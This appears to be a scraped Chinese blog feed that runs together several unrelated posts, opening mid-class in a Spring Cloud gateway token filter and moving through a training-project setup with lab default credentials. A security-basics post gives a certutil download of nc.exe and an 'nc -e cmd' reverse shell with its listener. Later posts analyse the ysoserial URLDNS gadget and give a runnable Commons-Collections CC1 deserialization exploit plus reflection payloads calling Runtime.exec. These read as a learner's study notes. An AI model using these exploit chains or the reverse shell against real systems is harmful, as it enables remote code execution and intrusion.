        AuthTemplate authTemplate = AuthTemplateFactory.get(token);
        //3.1 获取用户拥有的角色id列表
        List<Long> roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
        //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
        Collection<Long> intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
        if (CollUtil.isEmpty(intersection)) {
            //无交集，说明没有权限，设置响应状态码为400
            exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
            return exchange.getResponse().setComplete();
        }

        //4. 校验通过，向下游传递用户信息和token
        exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
        exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
        //4.1 校验通过放行
        return chain.filter(exchange);
    }
}

com.sl.gateway.filter.ManagerTokenGatewayFilterFactory

package com.sl.gateway.filter;

import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.factory.AbstractGatewayFilterFactory;
import org.springframework.stereotype.Component;

import javax.annotation.Resource;

/**
 * 管理端token校验的过滤器
 */
@Component
public class ManagerTokenGatewayFilterFactory extends AbstractGatewayFilterFactory<Object> {

    @Resource
    private TokenGatewayFilter tokenGatewayFilter;

    @Override
    public GatewayFilter apply(Object config) {
        return this.tokenGatewayFilter;
    }

}

优化2

通过前面的优化一已经将过滤器抽取到一个独立的类中，这样就可以在多个过滤器工厂中通用了，但也是存在一些问题的，例如：

不同的终端校验的角色id是不同的
用户端是不需要校验角色的
用户端校验token的逻辑与其他三端是不一样的
用户端请求头中的token参数名与其他三端也不一样

基于这些问题，就能够意识到，单纯的抽取代码是不够的，需要进一步的优化。想一想，该怎么优化呢？

优化的思路就是，在TokenGatewayFilter中保留四端通用的逻辑，不同的逻辑抽取到接口中，由四端具体的实现。

自定义AuthFilter接口：

com.sl.gateway.filter.AuthFilter

package com.sl.gateway.filter;

import com.itheima.auth.sdk.dto.AuthUserInfoDTO;
import com.sl.transport.common.constant.Constants;

/**
 * 鉴权业务的回调，具体逻辑由 GatewayFilterFactory 具体完成
 */
public interface AuthFilter {

    /**
     * 校验token
     *
     * @param token 请求中的token
     * @return token中携带的数据
     */
    AuthUserInfoDTO check(String token);

    /**
     * 鉴权
     *
     * @param token        请求中的token
     * @param authUserInfo token中携带的数据
     * @param path         当前请求的路径
     * @return 是否通过
     */
    Boolean auth(String token, AuthUserInfoDTO authUserInfo, String path);

    /**
     * 请求中携带token的名称
     *
     * @return 头名称
     */
    default String tokenHeaderName() {
        return Constants.GATEWAY.AUTHORIZATION;
    }

}

基础知识

Sat, 06 Jul 2024 18:40:01 GMT

文件下载

certutil.exe -urlcache -split -f http://127.0.0.1:8080/nc.exe nc.exe

反弹shell

一端进行监听，一端进行连接，将连接一端的shell进行反弹给监听一端

#Netcat连接端
nc -e cmd 127.0.0.1 8080

#监听端
nc -lvvp 8080

内网

内网 -> A

A !-> 内网

如果两台主机都处于外网，则可以相互进行反弹

A <-> B

A防火墙 -> B

b !-> A防火墙

抓包

抓包工具：

BurpSuite

茶杯

fiddler

模拟器设置证书后
设置HTTP代理 -> 运行工具的本机IP 端口
burpsuite 茶杯 fiddler 配置代理监听抓取

域名

DNS

DNS用于解析IP地址

它是一个域名和IP地址相互映射的一个分布式数据库，能够使人更方便更迅速的访问互联网

DNS使用的是UDP协议，端口53

CDN

旁注

旁注：同服务器不同站点

前提条件：多个站点服务器

C段

独立站点服务器

C段：不同服务器不同站点

资产架构与信息收集

域名：

查询域名注册邮箱
通过域名查询备案号
通过备案号查询域名
反查注册邮箱
反查注册人
通过注册人查询到的域名在查询邮箱
通过上一步邮箱去查询域名
通过上一步邮箱去查询域名
查询以上获取出的域名的子域名

CDN验证：通过多地ping的方法确定目标是否使用CDN
域名查找：查找域名父域和子域名来查看正式IP
历史纪录查找：可以通过查找域名解析记录的方式去查找真实IP
子域名爆破
通过证书手机信息
搜索引擎
通过域名查公司，查企业，查人物
通过人物查资产
.....

常用工具

https://www.ip138.com/

https://ping.pe/

https://whois.chinaz.com/

http://ping.chinaz.com/

环境搭建

Fri, 05 Jul 2024 06:48:51 GMT

环境搭建

进入Vmare，打开虚拟机

配置一键启动环境

vim ~/.bashrc

#增加如下内容
alias dps='docker ps --format "table{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}"'
#保存退出

#生效
source ~/.bashrc

访问http://192.168.150.101:10880/

配置本机hosts

192.168.150.101 git.sl-express.com
192.168.150.101 maven.sl-express.com
192.168.150.101 jenkins.sl-express.com
192.168.150.101 auth.sl-express.com
192.168.150.101 rabbitmq.sl-express.com
192.168.150.101 nacos.sl-express.com
192.168.150.101 neo4j.sl-express.com
192.168.150.101 xxl-job.sl-express.com
192.168.150.101 eaglemap.sl-express.com
192.168.150.101 seata.sl-express.com
192.168.150.101 skywalking.sl-express.com
192.168.150.101 api.sl-express.com
192.168.150.101 admin.sl-express.com

打开浏览器测试

| 名称 | 地址 | 用户名/密码 | 端口 | | ---------- | ---------------------------------------------------------- | --------------- | -------- | | git | http://git.sl-express.com/ | sl/sl123 | 10880 | | maven | http://maven.sl-express.com/nexus/ | admin/admin123 | 8081 | | jenkins | http://jenkins.sl-express.com/ | root/123 | 8090 | | 权限管家 | http://auth.sl-express.com/api/authority/static/index.html | admin/123456 | 8764 | | RabbitMQ | http://rabbitmq.sl-express.com/ | sl/sl321 | 15672 | | MySQL | - | root/123 | 3306 | | nacos | http://nacos.sl-express.com/nacos/ | nacos/nacos | 8848 | | neo4j | http://neo4j.sl-express.com/browser/ | neo4j/neo4j123 | 7474 | | xxl-job | http://xxl-job.sl-express.com/xxl-job-admin | admin/123456 | 28080 | | EagleMap | http://eaglemap.sl-express.com/ | eagle/eagle | 8484 | | seata | http://seata.sl-express.com/ | seata/seata | 7091 | | Gateway | http://api.sl-express.com/ | - | 9527 | | admin | http://admin.sl-express.com/ | - | 80 | | skywalking | http://skywalking.sl-express.com/ | - | 48080 | | Redis | - | 123321 | 6379 | | MongoDB | - | sl/123321 | 27017 |

配置本地MAVEN

<?xml version="1.0" encoding="UTF-8"?>
<settings
        xmlns="http://maven.apache.org/SETTINGS/1.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">

    <!-- 本地仓库  这里要改成你自己的本地仓库位置 -->
    <localRepository>F:\maven\repository</localRepository>

    <!-- 配置私服中deploy的账号 -->
    <servers>
        <server>
            <id>sl-releases</id>
            <username>deployment</username>
            <password>deployment123</password>
        </server>
        <server>
            <id>sl-snapshots</id>
            <username>deployment</username>
            <password>deployment123</password>
        </server>
    </servers>

    <!-- 使用阿里云maven镜像，排除私服资源库 -->
    <mirrors>
        <mirror>
            <id>mirror</id>
            <mirrorOf>central,jcenter,!sl-releases,!sl-snapshots</mirrorOf>
            <name>mirror</name>
            <url>https://maven.aliyun.com/nexus/content/groups/public</url>
        </mirror>
    </mirrors>

    <profiles>
        <profile>
            <id>sl</id>
            <!-- 配置项目deploy的地址 -->
            <properties>
                <altReleaseDeploymentRepository>
                    sl-releases::default::http://maven.sl-express.com/nexus/content/repositories/releases/
                </altReleaseDeploymentRepository>
                <altSnapshotDeploymentRepository>
                    sl-snapshots::default::http://maven.sl-express.com/nexus/content/repositories/snapshots/
                </altSnapshotDeploymentRepository>
            </properties>
            <!-- 配置项目下载依赖的私服地址 -->
            <repositories>
                <repository>
                    <id>sl-releases</id>
                    <url>http://maven.sl-express.com/nexus/content/repositories/releases/</url>
                    <releases>
                        <enabled>true</enabled>
                    </releases>
                    <snapshots>
                        <enabled>false</enabled>
                    </snapshots>
                </repository>
                <repository>
                    <id>sl-snapshots</id>
                    <url>http://maven.sl-express.com/nexus/content/repositories/snapshots/</url>
                    <releases>
                        <enabled>false</enabled>
                    </releases>
                    <snapshots>
                        <enabled>true</enabled>
                    </snapshots>
                </repository>
            </repositories>
        </profile>
    </profiles>

    <activeProfiles>
         <!-- 激活配置 -->
        <activeProfile>sl</activeProfile>
    </activeProfiles>

</settings>

配置本地jdk环境

拉取导入项目

更新MAVEN并运行

访问http://127.0.0.1:18099/doc.html#/home

数据测试

创建分支

使用git

创建成功

添加测试案例

测试成功

提交到远程仓库

可以看到代码已经提交

创建分支release-1.0

完善代码

将代码进行提交

创建tag并发布

Jenkins配置

访问Jenkins，通过root/123登录

进入页面创建任务

任务名称一般为项目名称

填写描述

设置构建参数

版本号设置

服务IP设置

端口设置

服务名称设置

Git源码路径、账号、分支设置

SSH连接地址、权限提升以及Maven版本设置

Shell命令执行

#!/bin/bash
# 微服务名称
SERVER_NAME=${serverName}
# 服务版本
SERVER_VERSION=${version}
# 服务端口
SERVER_PORT=${port}
# 源jar名称，mvn打包之后，target目录下的jar包名称
JAR_NAME=$SERVER_NAME-$SERVER_VERSION
# jenkins下的目录
JENKINS_HOME=/var/jenkins_home/workspace/$SERVER_NAME
#进入jenkins目录
cd $JENKINS_HOME
# 修改文件权限
chmod 755 target/$JAR_NAME.jar
#输出docker版本
docker -v
echo "---------停止容器（$SERVER_NAME）---------"
docker stop $SERVER_NAME
echo "---------删除容器（$SERVER_NAME）---------"
docker rm $SERVER_NAME
echo "---------删除镜像（$SERVER_NAME:$SERVER_VERSION）---------"
docker rmi $SERVER_NAME:$SERVER_VERSION
echo "---------构建新镜像（$SERVER_NAME:$SERVER_VERSION）---------"
docker build -t $SERVER_NAME:$SERVER_VERSION .
echo "---------运行服务---------"
docker run -d -p $SERVER_PORT:8080 --name $SERVER_NAME -e SERVER_PORT=8080 -e SPRING_CLOUD_NACOS_DISCOVERY_IP=${SPRING_CLOUD_NACOS_DISCOVERY_IP} -e  SPRING_CLOUD_NACOS_DISCOVERY_PORT=${port} $SERVER_NAME:$SERVER_VERSION

保存后开始构建

运行完成后测试：http://192.168.150.101:18099/doc.html#/home

可以看到页面成功展示了

自动构建

想要实现代码推送到git中自动开始构建，需要分别到gogs和Jenkins中进行设置

gogs设置

在http://git.sl-express.com/sl/sl-express-gitflow-web页面点击右上角仓库设置

选择管理Web钩子

添加gogs钩子

在Jenkins中也要设置钩子

进入配置

将Password设置为sl123与gogs中一致

在git中点击测试推送

看看能否测试成功

业务实现

验证码功能

验证码的实现方式有很多种，项目中我们通过hutool工具包中的验证码模块来实现

使用自定义验证码来实现

具体实现

先创建分支develop

具体的业务实现是在com.sl.ms.web.manager.service.AuthService中完成

@Override
public void createCaptcha(String key, HttpServletResponse response) throws IOException {
        //1. 生成验证码，指定宽、高、字符个数、干扰线数
        LineCaptcha lineCaptcha = CaptchaUtil.createLineCaptcha(115, 38, 0, 10);
        //1.1 自己创建一个随机数范围，验证码为四位随机数
        String random = "123456789abcdefghijklmnopqrstuvwsyz";
        RandomGenerator randomGenerator = new RandomGenerator(random,4);
        lineCaptcha.setGenerator(randomGenerator);
        //1.2 获取生成的验证码值
        lineCaptcha.createCode();
        String Code = lineCaptcha.getCode();

        //2. 将验证码的值写入到redis，有效期为1分钟
        String redisKey = CAPTCHA_REDIS_KEY + key;
        this.stringRedisTemplate.opsForValue().set(redisKey, Code, Duration.ofMinutes(1));

        //输出到页面
        response.setHeader(HttpHeaders.PRAGMA, "No-cache");
        response.setHeader(HttpHeaders.CACHE_CONTROL, "No-cache");
        response.setDateHeader(HttpHeaders.EXPIRES, 0L);
        lineCaptcha.write(response.getOutputStream());
    }

在Controller中调用Service中的方法:

测试

可以看到验证码

部署前端

拉取project-slwl-admin-vue代码

修改.env.production.stu文件，设置前后端交互接口改为本机地址和端口：

提交到git中，使用Jenkins部署

选择develop分支，开始构建

访问地址进行测试：http://admin.sl-express.com/

可以看到请求为200

登录功能实现

在AuthServiceImpl中完善代码

在Controller中调用：

测试

可以看到测试有数据

权限管家

权限管家使用说明

改造登录接口为权限管家的接口

测试

可以看到测试成功

小程序漏洞

Sun, 30 Jun 2024 09:23:17 GMT

常见web漏洞

Sun, 30 Jun 2024 09:22:17 GMT

URLDNS审计

Tue, 23 Apr 2024 07:41:00 GMT

ysoserial(https://github.com/frohoff/ysoserial)

URLDNS源码

@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

该Java类是一个用于payload测试的工具类，实现了ObjectPayload接口，其主要功能是通过构造一个特殊的URL对象并将其放入HashMap中，来触发DNS解析。具体实现如下：通过创建一个SilentURLStreamHandler对象来避免DNS解析。创建一个HashMap对象，并使用URL对象作为键，将URL字符串作为值放入其中。通过反射重置URL对象的hashCode值，以触发下次调用hashCode时的DNS查找。返回包含URL的HashMap对象。该类还包含一个main方法，用于通过PayloadRunner运行该类。静态内部类SilentURLStreamHandler继承自URLStreamHandler，重写了openConnection和getHostAddress方法，以避免打开连接和获取主机地址时进行DNS解析。

/**
 * 从流中重构此映射（即反序列化它）。
 * @param s 输入流
 * @throws ClassNotFoundException 如果序列化对象的类找不到
 * @throws IOException 如果发生I/O错误
 */
@java.io.Serial
private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {

    ObjectInputStream.GetField fields = s.readFields();

    // 读取loadFactor（忽略阈值）
    float lf = fields.get("loadFactor", 0.75f);
    if (lf <= 0 || Float.isNaN(lf))
        throw new InvalidObjectException("Illegal load factor: " + lf);

    // 调整loadFactor的值，确保其在有效范围内
    lf = Math.min(Math.max(0.25f, lf), 4.0f);
    HashMap.UnsafeHolder.putLoadFactor(this, lf);

    // 重新初始化HashMap
    reinitialize();

    // 读取并忽略桶的数量
    s.readInt();
    int mappings = s.readInt(); // 读取映射数量（大小）
    if (mappings < 0) {
        throw new InvalidObjectException("Illegal mappings count: " + mappings);
    } else if (mappings == 0) {
        // 如果映射数量为0，则使用默认值
    } else if (mappings > 0) {
        // 根据映射数量和loadFactor计算容量
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        // 计算阈值
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // 检查数组是否符合预期的类型
        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
        // 创建并初始化节点数组
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // 读取键值对，并将其放入HashMap中
        for (int i = 0; i < mappings; i++) {
            // 反序列化键和值，并添加到映射中
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

通过调试putVal(hash(key), key, value, false, false);这行进入到hash里面查看hash是如何组成的

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

进入hash后我们发现他的值有调用了hashcode我们再次进入到hashcode

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

当hashcode != -1 时，返回hashcode

我们先继续调试

进入到hashCode = handler.hashCode(this);里面的hashCode()函数

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

在这里我们能看到关键的getHostAddress()函数

我们再次进入到内部

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}

这个函数能够获取到IP地址

当hashcode != -1 时，返回hashcode

我们将hashcode = -1则返回进入hashCode() 则可进入到getHostAddress()

这⾥ InetAddress.getByName(host)的作⽤是根据主机名，获取其IP地址，在⽹络上其实就是⼀次

DNS查询

整个 URLDNS 的Gadget其实清晰⼜简单：

| 1. HashMap->readObject() | | ------------------------------------- | | 2. HashMap->hash() | | 3. URL->hashCode() | | 4. URLStreamHandler->hashCode() | | 5. URLStreamHandler->getHostAddress() | | 6. InetAddress->getByName() |

LazyMap审计

Tue, 23 Apr 2024 07:18:00 GMT

LazyMap是什么？

LazyMap和TransformedMap类似，都来自于Common-Collections库，并继承自AbstractMapDecorator

而在LazyMap中，调用map.put()的方式是当get方法里面在获取的值为空时，会使用factory.transfor()方法去获取值

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

AnnotationInvocationHandler类的invoke方法有调用到get

Java对象代理

Proxy.newProxyInstance 的第一个参数是ClassLoader，我们用默认的即可；第二个参数是我们需要

代理的对象集合；第三个参数是一个实现了InvocationHandler接口的对象，里面包含了具体代理的逻

辑。

Map proxyMap =  (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler)

使用LazyMap构造利用链

首先使用LazyMap替换TransformedMap

Map outerMap = LazyMap.decorate(innerMap,transformerChain);

然后，对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler hadnler =    (InvocationHandler)construct.newInstance(Retention.class,outerMap);

Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);

POC

此POC在java8高版本中无法使用

则会显示java.lang.annotation.Retention missing element entrySet

这是由于AnnotationInvocationHandler在高版本中改变了readObject的逻辑，不再使用我们精心构造的LazyMap而是使用自己新建的LinkedHashMap，导致该对象无法获得entrySet的内容，所以会报前面的这个错误

package l0set;

import java.util.HashMap;
import java.util.Map;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(1),
        };
        Transformer[] fakeTransformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\System32\\calc.exe"} ),
            new ConstantTransformer(1),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformer);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> construct = clazz.getDeclaredConstructor();
        construct.setAccessible(true);
        InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class,outerMap);

        //代理
        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class,proxyMap);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(handler);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        Object o = (Object)ois.readObject();


    }
}

Java反射(二)

Tue, 23 Apr 2024 07:00:00 GMT

在一个类中没有无参构造方法，也没有类似单列模式留下的静态方法

我们可以使用新方法 getConstructor .

和getMethod类似，getConstructor 接收的参数是构造函数列表类型，因为构造函数也支持重载，

所以必须用参数列表类型才能唯一确定一个构造函数。

我们常用的另一种执行方法是 ProcessBuilder，我们使用反射来获取其构造函数，然后调用**start()**来执行函数

Class<?> clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.Constructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();

ProcessBuilder有两个构造函数

public ProcessBuilder(List command)
public ProcessBuilder(String... command)

先讲上面那个进行反射转换

Class<?> clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

因为ProcessBuilder有两个构造函数，所以我们还有另外一种写法

public ProcessBuilder(String... command) 这个构造函数涉及到了变长参数（varargs）

对于可变长参数，Java其实在编译的时候会编译成一个数组，也就是说，如下这两种写法在底层是等价

的（也就不能重载）：

public void Hello(String[] names){}
public void Hello(String...names){}

那么对于反射来说，如果要获取的目标函数里包含可变长参数，其实我们认为它是数组就行了。

Class<?> clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)

在调用 newInstance 的时候，因为这个函数本身接收的是一个可变长参数，我们传给

ProcessBuilder 的也是一个可变长参数，二者叠加为一个二维数组，所以整个Payload如下：

Class<?> clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

进行反射转换

Class<?> clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));

如果一个方法是构造方法或是私有方法，我们该如何执行

使用方法getDeclared系列的反射，与普通的getMethod、getConstructor的区别是：

getMethod 系列方法获取的是当前类中所有公共方法，包括从父类继承的方法
getDeclaredMethod 系列方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私有的方法，但从父类里继承来的就不包含了

Class<?> clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");

这里使用了一个方法 setAccessible ，这个是必须的。我们在获取到一个私有方法后，必须用

setAccessible 修改它的作用域，否则仍然不能调用

ClassLoader(类加载器)

Tue, 23 Apr 2024 06:59:00 GMT

JVM默认加载器分为四种

BootstrapClassLoader（引导类加载器）

ExtensionClassLoader（扩展类加载器）

AppClassLoader（App加载器）

UserDefineClassLoader（自定义加载器）

双亲委派机制

JVM三种加载器相互配合使用，按需加载，当我们需要使用该类的时候，就会生成class文件加载到内存当中生成class对象使用，加载的过程使用的就是双亲外派机制，如上图

双亲委派就是特定的加载器接收到了加载类的请求，然后会先将任务委托给父类来进行请求，父类接收到请求，如果它还有父类他就会继续向上请求，接着请求父类加载这个类，当父类无法加载这个类时，就会向下返回给子类，字类加载器才会进行加载。

双亲委派的好处

避免了重复加载使用
保证java库的安全，从外部接收到包的时候，不会将其随便解析，会先进行双亲委派进行判断，保证我们的java核心库不会被恶意篡改,类似出现用户自定义java.lang.Object类的情况

ClassLoader

loadClass 加载指定的Java类
findLoadedCLass 查找JVM已经加载过的类
defineClass 定义一个Java类，将字节码解析成虚拟机识别的Class对象
findClass 查找指定的Java类
resolveClass 链接指定的Java类

URLClassLoader

URLClassLoader类继承CLassLoader类，可以加载本地磁盘和网络种的jar包类文件

package com.test;
public class Test {
    public Test(){
        System.out.println("Test success!!");
        try{
            Runtime.getRuntime().exec("cmd /c calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

使用javac编译，在D盘生成class文件

1. 本地磁盘class文件调用

package com.Classloader;

import java.io.*;
import java.net.URL;
import java.net.URLClassLoader;

public class CLassLoaderTest{
    public static <Url> void main(String []args) throws Exception {
        File file = new File("d:/");
        URL url = file.toURI().toURL();

        URLClassLoader classloader = new URLClassLoader(new URL[]{url});
        Class clazz = classloader.loadClass("com.test.Test");
        clazz.newInstance();
    }
}

通过file获取到文件路径，利用URLClassLoader方式去获取D盘中的Test.class文件，使用loadclass获取包名，最后使用newInstance()函数调用对象实例化。运行后会解析Teest.class文件

2. 网络传输class文件调用

我们在Test.class文件下开启Tomcat服务。新建ClassLoaderDemo类网络加载Tomcat服务器中的Test.class

package com.Classloader;

import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://localhost:8080/examples/");
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
        Class clazz = classLoader.loadClass("com.test.Test");
        clazz.newInstance();
    }
}

这里使用URLClassLoader加载网络中的Tomcat服务器目录，成功解析获取到了目录下的Test.class文件

ClassLoader总结

ClassLoader是JVM中一个非常重要的组成部分，ClassLoader可以为我们加载任意的java类，通过自定义ClassLoader更能够实现自定义类加载行为。

Java反射

Tue, 23 Apr 2024 06:35:00 GMT

通常我们想用一个类的时候，首先需要先调用import，而通过反射里面的forName可以直接调用该类

获取到类后，我们可以进一步的调用其属性、方法，也可先实例化后，在进行方法的调用

使用**newInstance()**可以调用无参构造函数

**newInstance()**可能会调用失败，原因可能是

你使用的类不是无参构造函数
你使用的可能是私有构造方法

使用 java.lang.Runtime举例

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.newInstance(),"id");

这样直接进行调用会出现报错

报错会告诉我们这个类不能使用私有方法

这涉及到了单列模式，Runtime是一个私有方法，

为了我们能安全的使用这个函数，设计出单列模式，通过为Runtime创建一个公共方法的getRuntime来是实现调用这个函数

Class<?> clazz = CLass.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

在这次使用我们用到了getMethod和invoke方法，在调用getMethod方法的时候，我们需要传给他你需要获取的参数类型的列表

我们使用最简单的，也就是第一个，它只有一个参数，类型是String，所以我们使用

getMethod("exec", String.class) 来获取 Runtime.exec 方法。

invoke 的作用是执行方法，它的第一个参数是：

如果这个方法是一个普通方法，那么第一个参数是类对象
如果这个方法是一个静态方法，那么第一个参数是类

将上述payload拆解为

Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Method execMethod = clazz.getMethod("exec",String.class);
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"calc.exe");